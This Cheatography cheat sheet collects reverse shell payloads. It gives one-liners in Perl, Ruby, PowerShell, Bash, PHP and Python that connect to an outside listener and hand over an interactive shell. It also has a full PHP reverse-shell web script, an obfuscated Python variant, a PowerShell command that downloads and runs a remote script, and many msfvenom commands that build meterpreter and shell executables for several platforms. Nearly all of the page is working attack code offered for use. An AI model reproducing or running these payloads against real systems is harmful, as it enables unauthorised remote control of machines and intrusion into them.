Cheatography

Reverse Shells Cheat Sheet

by pat0pau via cheatography.com/122827/cs/22977/

Misc

What programs are installed?	for item in $(echo "nmap nc perl python ruby gcc wget sudo curl"); do which $item; done`

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby

ruby -rsocket -e'f=TCPSocket.open("127.0.0.1", 1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

powershell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

war file

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war

Bash

exec 5<>/dev/tcp/127.0.0.1/1337 cat <&5 | while read line; do $line 2>&5 >&5; done

bash -i >& /dev/tcp/127.0.0.1/1337 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

sh -i >& /dev/udp/10.0.0.1/4242 0>&1

php

php -r '$sock=fsockopen("127.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

<?php set_time_limit(0);$VERSION="1.0";$ip='127.0.0.1';$port=1337;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}?>

php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

meterpreter

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<? php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

```
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```

Python (cont)

```
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0]})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})()))))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```